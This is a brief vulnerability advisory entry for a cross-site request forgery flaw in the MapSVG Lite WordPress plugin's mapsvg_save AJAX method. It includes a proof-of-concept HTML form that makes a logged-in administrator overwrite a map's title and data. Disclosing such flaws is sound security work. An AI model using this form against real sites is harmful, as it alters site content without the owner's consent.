MapSVG Lite <= 3.2.3 - Cross-Site Request Forgery (CSRF)

2019-01-0800:00:00

Ryan Dewhurst

0.002 Low

EPSS

Percentile

53.4%

JSON

CSRF in the mapsvg_save() AJAX method

<form method="POST" action="http://localhost:8080/wp-admin/admin-ajax.php?action=mapsvg_save">
 <input type="text" name="data[title]" value="A bad value">
 <input type="text" name="data[mapsvg_data]" value="">
 <input type="text" name="data[map_id]" value="2">
 <input type="submit">
</form>